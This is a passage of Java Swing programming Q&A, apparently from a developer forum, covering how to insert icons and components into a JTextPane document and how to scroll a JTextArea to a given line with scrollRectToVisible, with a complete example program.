htmlDoc.setPreservesUnknownTags(false);//I advice you to put this line if you plan to insert some foreign HTML
//inserting plain text (just change null for an attributeSet for styled text)
try {
htmlDoc.insertString(0, "capacity : ", null);
} catch (BadLocationException ex) {
Logger.getLogger(Test.class.getName()).log(Level.SEVERE, null, ex);
}
//inserting images
insertIcon(new ImageIcon("image.png"));
insertIcon(new ImageIcon("image.png"));
//inserting components (With component, you should specify the yAlignment by yourself)
JLabel label = new JLabel(new ImageIcon("image.png"));
label.setAlignmentY(JLabel.TOP);
insertComponent(label);
}
}
static class Title extends JPanel {
Title() {
setLayout(new BorderLayout());
setOpaque(false);
add(new JLabel("<html><b>Card title</b></html>"), BorderLayout.CENTER);
add(new JLabel(new ImageIcon("image.png")), BorderLayout.EAST);
}
}
}
You can try to define your own TabStops to align icons.
If you know size of icon and width of JTextPane just add your content as
"Person Name -tab- icon" and set custom TabSet for the paragraph. The TabSet has just one TabStop. The TabStop position = jTextPaneWidth - iconWidth
My JTextArea contains thousands of lines but not all of them are visible at a time. I want to programmatically scroll to a specific row of the textArea so that the line is visible. I found that scrollPane has a method scrollRectToVisible but I am not successful with that. Can anyone suggest me how to accomplish the goal. A workable code snippet will be really helpful for me. Thanks.
scrollRectToVisible(...) should work. Make sure you invoke scrollRectToVisible(...) on the text area and not the scrollpane. If that doesn't work then I would guess you are not getting the proper Rectangle to scroll to. Post your SSCCE that demonstrates the problem.
Another approach is to use the gotoStartOfLine(...) method of the Text Utilities. You can also use the centerLineInScrollPane(...) method if you wish.
I guess you've answered this already. I was creating my SSCCE during this time, so I'll post it for others' benefit if not yours.
import java.awt.BorderLayout;
import java.awt.Rectangle;
import javax.swing.*;
import javax.swing.event.ListSelectionEvent;
import javax.swing.event.ListSelectionListener;
import javax.swing.text.BadLocationException;
public class TestScrollRectToVisible extends JPanel {
private static final int MAX_LOOP = 10000;
private DefaultListModel listModel = new DefaultListModel();
private JTextArea textarea = new JTextArea(20, 30);
private JList jList = new JList(listModel);
JScrollPane textareaScrollPane = new JScrollPane(textarea);
public TestScrollRectToVisible() {
jList.addListSelectionListener(new ListSelectionListener() {
public void valueChanged(ListSelectionEvent e) {
if (!e.getValueIsAdjusting()) {
String text = jList.getSelectedValue().toString();
text += ": ";
String docText = textarea.getText();
int index = docText.indexOf(text);
if (index < 0) {
return;
}
try {
Rectangle rect = textarea.modelToView(index);
textarea.scrollRectToVisible(rect);
} catch (BadLocationException e1) {
e1.printStackTrace();
}
}
}
});
jList.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
StringBuilder strBuilder = new StringBuilder();
for (int i = 0; i < MAX_LOOP; i++) {
String text = String.valueOf(i);
listModel.addElement(text);
strBuilder.append(text + ": abcdefghijklmnopqrstuvwxyz" + "\n");
}
textarea.setText(strBuilder.toString());
setLayout(new BorderLayout());
add(textareaScrollPane, BorderLayout.CENTER);
add(new JScrollPane(jList), BorderLayout.EAST);
}
private static void createAndShowUI() {
JFrame frame = new JFrame("TestScrollRectToVisible");
frame.getContentPane().add(new TestScrollRectToVisible());
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
public static void main(String[] args) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
createAndShowUI();
}
});
}
}